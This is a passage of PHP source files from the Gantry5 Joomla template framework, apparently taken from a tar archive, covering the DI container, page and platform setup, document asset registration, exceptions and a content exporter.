        // Create configuration from the data.
        $item = new Config($data, $callable);
        $item->def('id', null);
        $item->def('type', $type);
        if (!isset($item['title'])) {
            $item->def('title',
$item->blueprint()->get('name'));
        }
        $item->def('attributes', []);
        $item->def('inherit', []);

        return $item;
    }

    /**
     * @param string $type
     * @return BlueprintForm
     */
    public function getBlueprint($type)
    {
        $blueprint = BlueprintForm::instance($type,
'gantry-blueprints://particles');

        if ($this->inherit) {
            $blueprint->set('form/fields/_inherit',
['type' => 'gantry.inherit']);
        }

        return $blueprint;
    }

    /**
     * @param string $type
     * @param string $id
     * @param bool $force
     * @return BlueprintForm|null
     */
    public function getInheritanceBlueprint($type, $id = null, $force =
false)
    {
        if (!$this->inherit) {
            return null;
        }

        $inheriting = $id ? $this->getInheritingOutlines($id) : [];
        $list = $this->getOutlines($type, false);

        if ($force || (empty($inheriting) && $list)) {
            $inheritance =
BlueprintForm::instance('layout/inheritance/atom.yaml',
'gantry-admin://blueprints');
            $inheritance->set('form/fields/outline/filter',
array_keys($list));
            $inheritance->set('form/fields/atom/atom', $type);

        } elseif (!empty($inheriting)) {
            // Already inherited by other outlines.
            $inheritance =
BlueprintForm::instance('layout/inheritance/messages/inherited.yaml',
'gantry-admin://blueprints');
            $inheritance->set(
                'form/fields/_note/content',
               
sprintf($inheritance->get('form/fields/_note/content'),
'atom', ' <ul><li>' .
implode('</li> <li>', $inheriting) .
'</li></ul>')
            );

        } elseif ($this->name === 'default') {
            // Base outline.
            $inheritance =
BlueprintForm::instance('layout/inheritance/messages/default.yaml',
'gantry-admin://blueprints');

        } else {
            // Nothing to inherit from.
            $inheritance =
BlueprintForm::instance('layout/inheritance/messages/empty.yaml',
'gantry-admin://blueprints');
        }

        return $inheritance;
    }

    /**
     * @param string $id
     * @return array
     */
    public function getInheritingOutlines($id = null)
    {
        /** @var Outlines $outlines */
        $outlines = Gantry::instance()['outlines'];

        return $outlines->getInheritingOutlinesWithAtom($this->name,
$id);
    }

    /**
     * @param string $type
     * @param bool $includeInherited
     * @return array
     */
    public function getOutlines($type, $includeInherited = true)
    {
        if ($this->name !== 'default') {
            /** @var Outlines $outlines */
            $outlines = Gantry::instance()['outlines'];

            $list = $outlines->getOutlinesWithAtom($type,
$includeInherited);
            unset($list[$this->name]);
        } else {
            $list = [];
        }

        return $list;
    }

    /**
     * @param array $item
     * @return string
     */
    protected function createId(array &$item)
    {
        $type = $item['type'];

        while ($num = rand(1000, 9999)) {
            if (!isset($this->ids["{$type}-{$num}"])) {
                break;
            }
        }

        $id = "{$type}-{$num}";

        $this->ids[$id] = $item;

        return $id;
    }
}
Gantry/Framework/Base/Gantry.php000064400000022264151157471010012604
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Base;

use Gantry\Component\Config\Config;
use Gantry\Component\System\Messages;
use Gantry\Framework\Document;
use Gantry\Framework\Menu;
use Gantry\Framework\Outlines;
use Gantry\Framework\Page;
use Gantry\Framework\Platform;
use Gantry\Framework\Positions;
use Gantry\Framework\Request;
use Gantry\Framework\Services\ConfigServiceProvider;
use Gantry\Framework\Services\StreamsServiceProvider;
use Gantry\Framework\Site;
use Gantry\Framework\Translator;
use RocketTheme\Toolbox\DI\Container;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\Event\EventDispatcher;

abstract class Gantry extends Container
{
    /**
     * @var static
     */
    protected static $instance;
    protected $wrapper;

    public static function instance()
    {
        if (!self::$instance) {
            self::$instance = static::init();

            if (!defined('GANTRY5_DEBUG')) {
                define('GANTRY5_DEBUG',
self::$instance->debug());
            }
        }

        return self::$instance;
    }

    public static function restart()
    {
        self::$instance = null;

        return static::instance();
    }

    /**
     * Returns true if debug mode has been enabled.
     *
     * @return boolean
     */
    public function debug()
    {
        return $this['global']->get('debug', false);
    }

    /**
     * Returns true if we are in administration.
     *
     * @return boolean
     */
    public function admin()
    {
        return defined('GANTRYADMIN_PATH');
    }


    /**
     * @return string
     */
    public function siteUrl()
    {
        $gantry = Gantry::instance();

        return $gantry['document']->siteUrl();
    }

    /**
     * @param string $location
     * @return array
     */
    public function styles($location = 'head')
    {
        return $this['document']->getStyles($location);
    }

    /**
     * @param string $location
     * @return array
     */
    public function scripts($location = 'head')
    {
        return $this['document']->getScripts($location);
    }

    /**
     * Load Javascript framework / extension in platform independent way.
     *
     * @param string $framework
     * @return bool
     */
    public function load($framework)
    {
        return $this['document']->addFramework($framework);
    }

    /**
     * Lock the variable against modification and return the value.
     *
     * @param string $id
     * @return mixed
     */
    public function lock($id)
    {
        $value = $this[$id];

        try {
            // Create a dummy service.
            $this[$id] = function () use ($value) {
                return $value;
            };
        } catch (\RuntimeException $e) {
            // Services are already locked, so ignore the error.
        }

        // Lock the service and return value.
        return $this[$id];
    }

    /**
     * Fires an event with optional parameters.
     *
     * @param  string $eventName
     * @param  Event  $event
     * @return Event
     */
    public function fireEvent($eventName, Event $event = null)
    {
        /** @var EventDispatcher $events */
        $events = $this['events'];
        return $events->dispatch($eventName, $event);
    }

    public function route($path)
    {
        $routes = $this->offsetGet('routes');
        $route = isset($routes[$path]) ? $routes[$path] : $routes[1];

        if (!$route) {
            // TODO: need to implement back to root in Prime..
            return $this->offsetGet('base_url');
        }

        $path = implode('/', array_filter(func_get_args(),
function($var) { return isset($var) && $var !== ''; }));

        // rawurlencode() the whole path, but keep the slashes.
        $path = preg_replace(['|%2F|', '|%25|'],
['/', '%'], rawurlencode($path));

        return preg_replace('|/+|', '/', '/'
. $this->offsetGet('base_url') . sprintf($route, $path));
    }

    public function authorize($action, $id = null)
    {
        return $this['platform']->authorize($action, $id);
    }

    public function wrapper($value = null)
    {
        if ($value !== null ) {
            $this->wrapper = $value;
        }

        return $this->wrapper;
    }

    protected static function init()
    {
        /** @var Gantry $instance */
        $instance = new static();

        if (GANTRY_DEBUGGER) {
            $instance['debugger'] = \Gantry\Debugger::instance();
        }

        $instance['loader'] = \Gantry5\Loader::get();

        $instance->register(new ConfigServiceProvider);
        $instance->register(new StreamsServiceProvider);

        $instance['request'] = function () {
            return new Request;
        };

        $instance['events'] = function () {
            return new EventDispatcher;
        };

        $instance['platform'] = function ($c) {
            return new Platform($c);
        };

        $instance['translator'] = function () {
            return new Translator;
        };

        $instance['site'] = function () {
            return new Site;
        };

        $instance['menu'] = function () {
            return new Menu;
        };

        $instance['messages'] = function () {
            return new Messages;
        };

        $instance['page'] = function ($c) {
            return new Page($c);
        };

        $instance['document'] = function () {
            return new Document;
        };

        // Make sure that nobody modifies the original collection by making
it a factory.
        $instance['outlines'] = $instance->factory(function
($c) {
            static $collection;
            if (!$collection) {
                $collection = (new Outlines($c))->load();
            }

            return $collection->copy();
        });

        // @deprecated 5.3
        $instance['configurations'] =
$instance->factory(function ($c) {
            GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage("Depredated call:
gantry.configurations");

            static $collection;
            if (!$collection) {
                $collection = (new Outlines($c))->load();
            }

            return $collection->copy();
        });

        $instance['positions'] = $instance->factory(function
($c) {
            static $collection;
            if (!$collection) {
                $collection = (new Positions($c))->load();
            }

            return $collection->copy();
        });

        $instance['global'] = function ($c) {
            $data = $c->loadGlobal() + [
                    'debug' => false,
                    'production' => true,
                    'use_media_folder' => false,
                    'asset_timestamps' => true,
                    'asset_timestamps_period' => 7,
                    'compile_yaml' => true,
                    'compile_twig' => true,
                    'offline_message'  => ''
                ];

            return new Config($data);
        };

        return $instance;
    }

    /**
     * Check if Gantry is compatible with your theme / extension.
     *
     * This function can be used to make sure that user has installed
Gantry version
     * that has been tested to work with your extension. All existing
functions should
     * be backwards compatible, but each release can add some new
functionality, which
     * you may want to use.
     *
     * <code>
     * if ($gantry->isCompatible('5.0.1')) {
     *      // You can do it in the new way.
     * } else {
     *     // Revert to the old way to display an error message.
     * }
     * </code>
     *
     * @param string $version Minimum required version.
     *
     * @return boolean Yes, if it is safe to use Gantry Framework.
     */
    public function isCompatible($version)
    {
        // If requested version is smaller than 5.0-rc, it's not
compatible.
        if (version_compare($version, '5.0-rc',
'<')) {
            return false;
        }

        // Development version support.
        if ($version === '5.3' || static::isDev()) {
            return true;
        }

        // Check if future version is needed.
        if (version_compare($version, GANTRY5_VERSION, '>')) {
            return false;
        }

        return true;
    }

    /**
     * Check if Gantry is running from a Git repository or is a CI build.
     *
     * Developers tend to do their work directly in the Git repositories
instead of
     * creating and installing new builds after every change. This function
can be
     * used to check the condition and make sure we do not break users
repository
     * by replacing files during upgrade.
     *
     * @return boolean True if Git repository or CI build is detected.
     */
    public function isDev()
    {
        if ('@version@' == GANTRY5_VERSION) {
            return true;
        }
        if ('dev-' === substr(GANTRY5_VERSION, 0, 4)) {
            return true;
        }

        return false;
    }

    /**
     * @return array
     */
    protected function loadGlobal()
    {
        return [];
    }
}
Gantry/Framework/Base/Page.php000064400000004115151157471010012207
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Base;

abstract class Page
{
    protected $container;
    protected $config;

    public function __construct($container)
    {
        $this->container = $container;
        $this->config = $container['config'];
    }

    public function doctype()
    {
        return $this->config->get('page.doctype',
'html');
    }

    abstract public function url(array $args = []);

    public function preset()
    {
        /** @var Theme $theme */
        $theme = $this->container['theme'];
        return 'g-' . preg_replace('/[^a-z0-9-]/',
'', $theme->type());
    }

    public function htmlAttributes()
    {
        return
$this->getAttributes($this->config->get('page.html'));
    }

    public function bodyAttributes($attributes = [])
    {
        return
$this->getAttributes($this->config->get('page.body.attribs'),
$attributes);
    }

    protected function getAttributes($params, $extra = [])
    {
        $params = array_merge_recursive($params, $extra);

        $list = [];
        foreach ($params as $param => $value) {
            if (!$value) { continue; }
            if (!is_array($value) || !count(array_filter($value,
'is_array'))) {
                $value = array_filter(array_unique((array) $value));
                $list[] = $param . '="' . implode('
', $value) . '"';
            } else {
                $values = new \RecursiveIteratorIterator(new
\RecursiveArrayIterator($value));
                foreach ($values as $iparam => $ivalue) {
                    $ivalue = array_filter(array_unique((array) $ivalue));
                    $list[] = $iparam . '="' .
implode(' ', $ivalue) . '"';
                }
            }

        }

        return $list ? ' ' . implode(' ', $list) :
'';
    }
}
Gantry/Framework/Base/Platform.php000064400000014730151157471010013123
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Base;

use Gantry\Component\Filesystem\Folder;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccess;
use RocketTheme\Toolbox\DI\Container;

/**
 * The Platform Configuration class contains configuration information.
 *
 * @author RocketTheme
 * @license MIT
 */

abstract class Platform
{
    use NestedArrayAccess, Export;

    protected $name;
    protected $features = [];
    protected $settings_key;
    protected $items;
    protected $container;

    public function __construct(Container $container)
    {
        $this->container = $container;

        //Make sure that cache folder exists, otherwise it will be removed
from the lookup.
        $cachePath = $this->getCachePath();
        Folder::create($cachePath);

        $this->items = [
            'streams' => [
                // Cached files.
                'gantry-cache' => [
                    'type' => 'Stream',
                    'force' => true,
                    'prefixes' => ['' =>
[$cachePath]]
                ],
                // Container for all frontend themes.
                'gantry-themes' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => $this->getThemesPaths()
                ],
                // Selected frontend theme.
                'gantry-theme' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => $this->getThemePaths()
                ],
                // System defined media files.
                'gantry-assets' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => $this->getAssetsPaths()
                ],
                // User defined media files.
                'gantry-media' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => $this->getMediaPaths()
                ],
                // Container for all Gantry engines.
                'gantry-engines' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => $this->getEnginesPaths()
                ],
                // Gantry engine used to render the selected theme.
                'gantry-engine' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => $this->getEnginePaths()
                ],
                // Layout definitions for the blueprints.
                'gantry-layouts' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => ['' =>
['gantry-theme://layouts', 'gantry-engine://layouts']]
                ],
                // Gantry particles.
                'gantry-particles' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => ['' =>
['gantry-theme://particles',
'gantry-engine://particles']]
                ],
                // Gantry administration.
                'gantry-admin' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => []
                ],
                // Blueprints for the configuration.
                'gantry-blueprints' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => [
                        '' =>
['gantry-theme://blueprints',
'gantry-engine://blueprints'],
                        'particles' =>
['gantry-particles://']
                    ]
                ],
                // Configuration from the selected theme.
                'gantry-config' => [
                    'type' => 'ReadOnlyStream',
                    'prefixes' => ['' =>
['gantry-theme://config']]
                ]
            ]
        ];
    }

    abstract public function getCachePath();
    abstract public function getThemesPaths();
    abstract public function getAssetsPaths();
    abstract public function getMediaPaths();

    public function init()
    {
        return $this;
    }

    public function has($feature)
    {
        return !empty($this->features[$feature]);
    }

    public function getThemePaths()
    {
        return ['' => []];
    }

    public function getEnginePaths($name = 'nucleus')
    {
        return ['' => ['gantry-theme://engine',
"gantry-engines://{$name}"]];
    }

    public function getEnginesPaths()
    {
        return ['' => []];
    }

    public function errorHandlerPaths()
    {
        return [];
    }

    /**
     * Get preview url for individual theme.
     *
     * @param string $theme
     * @return string|null
     */
    abstract public function getThemePreviewUrl($theme);

    /**
     * Get administrator url for individual theme.
     *
     * @param string $theme
     * @return string|null
     */
    abstract public function getThemeAdminUrl($theme);

    public function settings()
    {
        return null;
    }

    public function settings_key()
    {
        return $this->settings_key;
    }

    public function listModules()
    {
        return false;
    }

    public function getName()
    {
        return $this->name;
    }

    public function getEditor($name, $content = '', $width =
null, $height = null)
    {
        return null;
    }

    public function filter($text)
    {
        return $text;
    }

    public function finalize()
    {
        $gantry = Gantry::instance();

        $gantry['document']->registerAssets();
    }

    public function call()
    {
        $args = func_get_args();
        $callable = array_shift($args);
        return is_callable($callable) ? call_user_func_array($callable,
$args) : null;
    }

    public function authorize($action)
    {
        return true;
    }

    /**
     * @param array|string $dependencies
     * @return bool|null
     * @since 5.4.3
     */
    public function checkDependencies($dependencies)
    {
        if (is_string($dependencies) && $dependencies !==
$this->name) {
            return false;
        }

        if (isset($dependencies['platform'])) {
            if (is_string($dependencies['platform']) &&
$dependencies['platform'] !== $this->name) {
                return false;
            }
            if
(!isset($dependencies['platform'][$this->name])) {
                return false;
            }
        }

        return true;
    }
}
Gantry/Framework/Base/Site.php000064400000000644151157471010012242
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Base;

class Site
{
}
Gantry/Framework/Base/Theme.php000064400000001107151157471010012373
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Base;

use Gantry\Component\Theme\AbstractTheme;
use Gantry\Component\Theme\ThemeTrait;

/**
 * @deprecated 5.1.5
 */
abstract class Theme extends AbstractTheme
{
    use ThemeTrait;
}
Gantry/Framework/Configurations.php000064400000000727151157471010013460
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework;

/**
 * @deprecated 5.1.1
 */
class Configurations extends Outlines
{
}
Gantry/Framework/Document.php000064400000016143151157471010012243
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

use Gantry\Component\Content\Document\HtmlDocument;

class Document extends HtmlDocument
{
    protected static $availableFrameworks = [
        'jquery' => 'registerJquery',
        'jquery.framework' => 'registerJquery',
        'jquery.ui.core' => 'registerJqueryUiCore',
        'jquery.ui.sortable' =>
'registerJqueryUiSortable',
        'bootstrap.2' => 'registerBootstrap2',
        'mootools' => 'registerMootools',
        'mootools.framework' => 'registerMootools',
        'mootools.core' => 'registerMootools',
        'mootools.more' => 'registerMootoolsMore',
        'lightcase' => 'registerLightcase',
        'lightcase.init' => 'registerLightcaseInit',
    ];

    public static function registerAssets()
    {
        static::registerFrameworks();
        static::registerStyles();
        static::registerScripts();
    }

    /**
     * NOTE: In PHP this function can be called either from Gantry DI
container or statically.
     *
     * @param bool $addDomain
     * @return string
     */
    public static function domain($addDomain = false)
    {
        if (!$addDomain) {
            return '';
        }

        $absolute = \JUri::root(false);
        $relative = \JUri::root(true);

        return substr($absolute, 0, -strlen($relative));
    }

    public static function rootUri()
    {
        return rtrim(\JUri::root(true), '/') ?: '/';
    }

    public static function errorPage($new = null)
    {
        static $error = false;

        if (isset($new)) {
            $error = (bool) $new;
        }

        return $error;
    }

    protected static function registerStyles()
    {
        if (static::errorPage()) {
            return;
        }

        $doc = \JFactory::getDocument();

        $styles = static::$stack[0]->getStyles();

        foreach ($styles as $style) {
            switch ($style[':type']) {
                case 'file':
                    $doc->addStyleSheet($style['href'],
$style['type'], $style['media'],
$style['element']);
                    break;
                case 'inline':
                   
$doc->addStyleDeclaration($style['content'],
$style['type']);
                    break;
            }
        }
    }

    protected static function registerScripts()
    {
        if (static::errorPage()) {
            return;
        }

        $doc = \JFactory::getDocument();

        $scripts = static::$stack[0]->getScripts();

        foreach ($scripts as $script) {
            switch ($script[':type']) {
                case 'file':
                    $doc->addScript($script['src'],
$script['type'], $script['defer'],
$script['async']);
                    break;
                case 'inline':
                   
$doc->addScriptDeclaration($script['content'],
$script['type']);
                    break;
            }
        }
    }

    protected static function registerJquery()
    {
        if (!static::errorPage()) {
            \JHtml::_('jquery.framework');

            return;
        }

        // Workaround for error document type.
        static::addHeaderTag(
            [
                'tag' => 'script',
                'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/jquery.min.js'
            ],
            'head',
            100
        );
        static::addHeaderTag(
            [
                'tag' => 'script',
                'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/jquery-noconflict.js'
            ],
            'head',
            100
        );
        static::addHeaderTag(
            [
                'tag' => 'script',
                'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/jquery-migrate.min.js'
            ],
            'head',
            100
        );
    }

    protected static function registerJqueryUiCore()
    {
        if (!static::errorPage()) {
            \JHtml::_('jquery.ui', ['core']);

            return;
        }

        // Workaround for error document type.
        static::registerJquery();
        static::addHeaderTag(
            [
                'tag' => 'script',
                'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/jquery.ui.core.min.js'
            ],
            'head',
            100
        );

    }

    protected static function registerJqueryUiSortable()
    {
        if (!static::errorPage()) {
            \JHtml::_('jquery.ui', ['sortable']);

            return;
        }

        // Workaround for error document type.
        static::registerJqueryUiCore();
        static::addHeaderTag(
            [
                'tag' => 'script',
                'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/jquery.ui.sortable.min.js'
            ],
            'head',
            100
        );
    }

    protected static function registerBootstrap2()
    {
        Gantry::instance()['theme']->joomla(true);

        if (!static::errorPage()) {
            \JHtml::_('bootstrap.framework');

            return;
        }

        // Workaround for error document type.
        static::registerJquery();
        static::addHeaderTag(
            [
                'tag' => 'script',
                'src' => \JUri::getInstance()->base(true) .
'/media/jui/js/bootstrap.min.js'
            ],
            'head',
            100
        );
    }

    protected static function registerMootools()
    {
        if (!static::errorPage()) {
            \JHtml::_('behavior.framework');

            return;
        }

        // Workaround for error document type.
        static::addHeaderTag(
            [
                'tag' => 'script',
                'src' => \JUri::getInstance()->base(true) .
'/media/system/js/mootools-core.js'
            ],
            'head',
            99
        );
        static::addHeaderTag(
            [
                'tag' => 'script',
                'src' => \JUri::getInstance()->base(true) .
'/media/system/js/core.js'
            ],
            'head',
            99
        );
    }

    protected static function registerMootoolsMore()
    {
        if (!static::errorPage()) {
            \JHtml::_('behavior.framework', true);

            return;
        }

        // Workaround for error document type.
        static::registerMootools();
        static::addHeaderTag(
            [
                'tag' => 'script',
                'src' => \JUri::getInstance()->base(true) .
'/media/system/js/mootools-more.js'
            ],
            'head',
            99
        );
    }

    /**
     * Override to support index.php?Itemid=xxx.
     *
     * @param array $matches
     * @return string
     * @internal
     */
    public static function linkHandler(array $matches)
    {
        $url = trim($matches[3]);
        if (strpos($url, 'index.php?') !== 0) {
            list($domain, $timestamp_age) = static::$urlFilterParams;
            $url = static::url(trim($matches[3]), $domain, $timestamp_age);
        }

        return "{$matches[1]}{$matches[2]}=\"{$url}\"";
    }
}
Gantry/Framework/Exception.php000064400000002030151157471010012411
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework;

class Exception extends \RuntimeException
{
    protected $responseCodes = [
        200 => '200 OK',
        400 => '400 Bad Request',
        401 => '401 Unauthorized',
        403 => '403 Forbidden',
        404 => '404 Not Found',
        410 => '410 Gone',
        500 => '500 Internal Server Error',
        501 => '501 Not Implemented',
        503 => '503 Service Temporarily Unavailable'
    ];

    public function getResponseCode() {
        return isset($this->responseCodes[$this->code]) ? (int)
$this->code : 500;
    }

    public function getResponseStatus() {
        return $this->responseCodes[$this->getResponseCode()];
    }
}
Gantry/Framework/Exporter.php000064400000025761151157471010012303
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

use Gantry\Component\Layout\Layout;
use Gantry\Framework\Services\ConfigServiceProvider;
use Gantry\Joomla\Category\CategoryFinder;
use Gantry\Joomla\Content\ContentFinder;
use Gantry\Joomla\Module\ModuleFinder;
use Gantry\Joomla\StyleHelper;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Exporter
{
    protected $files = [];

    public function all()
    {
        $theme = Gantry::instance()['theme']->details();

        return [
            'export' => [
                'gantry' => [
                    'version' => GANTRY5_VERSION !==
'@version@' ? GANTRY5_VERSION : 'GIT',
                    'format' => 1
                ],
                'platform' => [
                    'name' => 'joomla',
                    'version' => JVERSION
                ],
                'theme' => [
                    'name' =>
$theme->get('name'),
                    'title' =>
$theme->get('details.name'),
                    'version' =>
$theme->get('details.version'),
                    'date' =>
$theme->get('details.date'),
                    'author' =>
$theme->get('details.author'),
                    'copyright' =>
$theme->get('details.copyright'),
                    'license' =>
$theme->get('details.license'),
                ]
            ],
            'outlines' => $this->outlines(),
            'positions' => $this->positions(),
            'menus' => $this->menus(),
            'content' => $this->articles(),
            'categories' => $this->categories(),
            'files' => $this->files,
        ];
    }

    public function outlines()
    {
        $gantry = Gantry::instance();
        $styles = StyleHelper::loadStyles($gantry['theme.name']);

        $list = [
            'default' => ['title' =>
'Default'],
            '_error' => ['title' =>
'Error'],
            '_offline' => ['title' =>
'Offline'],
            '_body_only' => ['title' =>
'Body Only'],
        ];
        $inheritance = [];

        foreach ($styles as $style) {
            $name = $base =
strtolower(trim(preg_replace('|[^a-z\d_-]+|ui', '_',
$style->title), '_'));
            $i = 0;
            while (isset($list[$name])) {
                $i++;
                $name = "{$base}-{$i}";
            };
            $inheritance[$style->id] = $name;
            $list[$name] = [
                'id' => (int) $style->id,
                'title' => $style->title,
                'home' => $style->home,
            ];
            if (!$style->home) {
                unset($list[$name]['home']);
            }
        }

        foreach ($list as $name => &$style) {
            $id = isset($style['id']) ? $style['id'] :
$name;
            $config = ConfigServiceProvider::load($gantry, $id, false,
false);

            // Update layout inheritance.
            $layout = Layout::instance($id);
            $layout->name = $name;
            foreach ($inheritance as $from => $to) {
                $layout->updateInheritance($from, $to);
            }
            $style['preset'] =
$layout->preset['name'];
            $config['index'] = $layout->buildIndex();
            $config['layout'] = $layout->export();

            // Update atom inheritance.
            $atoms = $config->get('page.head.atoms');
            if (is_array($atoms)) {
                $atoms = new Atoms($atoms);
                foreach ($inheritance as $from => $to) {
                    $atoms->updateInheritance($from, $to);
                }
                $config->set('page.head.atoms',
$atoms->update()->toArray());
            }

            // Add assignments.
            if (is_numeric($id)) {
                $assignments = $this->getOutlineAssignments($id);
                if ($assignments) {
                    $config->set('assignments',
$this->getOutlineAssignments($id));
                }
            }
            
            $style['config'] = $config->toArray();
        }

        return $list;
    }

    public function positions($all = true)
    {
        $gantry = Gantry::instance();
        $positions = $gantry['outlines']->positions();
        $positions['debug'] = 'Debug';

        $finder = new ModuleFinder();
        if (!$all) {
            $finder->particle();
        }
        $modules = $finder->find()->export();
        $list = [];
        foreach ($modules as $position => &$items) {
            if (!isset($positions[$position])) {
                continue;
            }
            foreach ($items as &$item) {
                $func = 'module' .
$item['options']['type'];
                if (method_exists($this, $func)) {
                    $item = $this->{$func}($item);
                }
            }
            $list[$position] = [
                'title' => $positions[$position],
                'items' => $items,
            ];
        }

        return $list;
    }

    public function menus()
    {
        $gantry = Gantry::instance();
        $db = \JFactory::getDbo();

        $query = $db->getQuery(true)
            ->select('id, menutype, title, description')
            ->from('#__menu_types');
        $db->setQuery($query);
        $menus = $db->loadObjectList('id');

        $list = [];
        foreach ($menus as $menu) {
            $items =
$gantry['menu']->instance(['menu' =>
$menu->menutype])->items(false);

            array_walk(
                $items,
                function (&$item) {
                    $item['id'] = (int) $item['id'];
                    if (in_array($item['type'],
['component', 'alias'])) {
                        $item['type'] =
"joomla.{$item['type']}";
                    }

                    unset($item['alias'],
$item['path'], $item['parent_id'],
$item['level']);
                }
            );

            $list[$menu->menutype] = [
                'id' => (int) $menu->id,
                'title' => $menu->title,
                'description' => $menu->description,
                'items' => $items
            ];
        }

        return $list;
    }

    public function articles()
    {
        $finder = new ContentFinder();

        $articles = $finder->limit(0)->find();

        $list = [];
        foreach ($articles as $article) {
            $exported = $article->toArray();

            // Convert images to use streams.
            $exported['introtext'] =
$this->urlFilter($exported['introtext']);
            $exported['fulltext'] =
$this->urlFilter($exported['fulltext']);

            $list[$article->id . '-' . $article->alias] =
$exported;
        }

        return $list;
    }

    public function categories()
    {
        $finder = new CategoryFinder();

        $categories = $finder->limit(0)->find();

        $list = [];
        foreach ($categories as $category) {
            $list[$category->id] = $category->toArray();
        }

        return $list;
    }


    /**
     * List all the rules available.
     *
     * @param string $configuration
     * @return array
     */
    public function getOutlineAssignments($configuration)
    {
        require_once JPATH_ADMINISTRATOR .
'/components/com_menus/helpers/menus.php';
        $app = \JApplicationCms::getInstance('site');
        $menu = $app->getMenu();
        $data = \MenusHelper::getMenuLinks();

        $items = [];
        foreach ($data as $item) {
            foreach ($item->links as $link) {
                if ($link->template_style_id == $configuration) {
                    $items[$menu->getItem($link->value)->route] =
1;
                }
            }
        }

        if ($items) {
            return ['page' => [$items]];
        }

        return [];
    }

    /**
     * Filter stream URLs from HTML.
     *
     * @param  string $html         HTML input to be filtered.
     * @return string               Returns modified HTML.
     */
    public function urlFilter($html)
    {
        // Tokenize all PRE and CODE tags to avoid modifying any
src|href|url in them
        $tokens = [];
        $html =
preg_replace_callback('#<(pre|code).*?>.*?<\\/\\1>#is',
function($matches) use (&$tokens) {
            $token = uniqid('__g5_token');
            $tokens['#' . $token . '#'] = $matches[0];

            return $token;
        }, $html);

        $html =
preg_replace_callback('^(\s)(src|href)="(.*?)"^',
[$this, 'linkHandler'], $html);
        $html = preg_replace_callback('^(\s)url\((.*?)\)^',
[$this, 'urlHandler'], $html);
        $html = preg_replace(array_keys($tokens), array_values($tokens),
$html); // restore tokens

        return $html;
    }

    public function url($url)
    {
        // Only process local urls.
        if ($url === '' || $url[0] === '/' || $url[0]
=== '#') {
            return $url;
        }

        /** @var UniformResourceLocator $locator */
        $locator = Gantry::instance()['locator'];

